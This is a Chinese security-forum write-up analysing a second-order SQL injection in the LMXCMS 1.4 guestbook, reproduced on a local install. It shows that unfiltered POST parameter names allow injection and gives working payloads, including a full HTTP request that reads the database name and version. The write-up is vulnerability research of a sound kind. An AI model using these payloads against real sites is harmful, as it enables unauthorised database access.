问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
梦想cms二次注入漏洞分析
漏洞分析
梦想cms二次注入漏洞分析
### 前言 看了社区一位师傅发的[梦想cms的文章](https://forum.butian.net/share/955 "梦想cms的文章"),在cnvd一搜发现洞还挺多的,在本地审计复现了一下,于是写了这篇文章。 ### 二次注入简述 二次注入是SQL注入的一种。漏洞的发生主要分为两步,第一步是攻击者构造恶意SQL语句,这些语句会插入并存储在数据库中,第二步是将存储在数据库中的恶意SQL语句取出,直接调用,这样就造成了SQL的二次注入。 ### CMS框架 首先,了解一下cms的框架 index.php  先define定义两个常量,然后require包含文件。/inc/config.inc.php中是网站的配置文件,简单浏览一下后继续看/inc/run.inc.php文件。  69-73行中,通过Get方式传入参数m,控制调用的控制器,最后触发run()方法,跟进查看  Get方式传入参数a,如果参数a代表的方法存在,则调用该方法,否则调用index方法。 ### 漏洞分析 大概了解了cms的框架,下面开始漏洞分析 漏洞出现在/index/BookAction.class.php文件,先访问看看  发现是留言版功能,那么可以猜想一下大概的流程,应该是可以通过留言插入sql语句到数据库中,然后下方显示留言的地方会调用数据库中的数据,从而造成二次注入。 下面来看具体代码 留言提交代码块  当setbook参数不为空,会调用checkData方法对参数进行检测,主要是调用p()函数防止sql注入,这里暂且不看,继续往下,进入add方法  跟进addModel()  最后跟踪到addDB方法  看到往数据库中插入的参数,$field和$value实际上就是传入的键值对的key和值  可以发现,键值对的值是使用单引号进行包裹,但是key直接传入,没做任何过滤 在cms的防止sql注入的过滤函数p()中,同样只对$v进行了过滤,忽略了$key  接下来留言看看插入的sql语句,在源码将sql语句输出,方便构造  可以看到sql语句是 ```sql INSERT INTO lmx_book(name,content,mail,tel,ip,time) VALUES('1','4','2','3','127.0.0.1','1640673423') ``` 上面分析了键值对中的key没有过滤,那么可以尝试修改key构造注入语句 ```sql name=1&mail=2&tel=3&content=4&setbook=1&time)values('1','4','2','3','5','6')#=1 ```  注入之后,回到页面发现并没有看到提交的留言,到mysql中看看  可以看到留言确实是插入到了数据库中,之所以没有显示,是因为有一个参数ischeck 在调用留言的代码中,可以看到只调用了’ischeck=1‘的留言  那么我们再在数据包中添加一个参数,修改ischeck值为1  再次回到留言版,可以看到留言,且name和content处有回显  于是修改数据包,查询database()及version() ```markdown POST /lmxcms1.4/index.php?m=Book&a=setBook HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 104 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/lmxcms1.4/?m=book Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 name=1&mail=2&tel=3&content=4&setbook=1&time,ischeck)values(database(),version(),'2','3','5','6','1')#=1 ``` 留言处成功回显数据库名及版本信息  ### 写在后面 二次注入可以说是比较难发现的一种注入,不仅需要插入数据,还需要找到将插入数据提取出来使用的地方。即使找到注入的地方,如果不能看到回显也是没有用处了。本文分析的漏洞官方出了相应补丁,将留言设置为前台不显示,从而防止了二次注入的第二步。
发表于 2022-01-04 09:43:07
阅读 ( 6385 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
Cl0wnkey
6 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!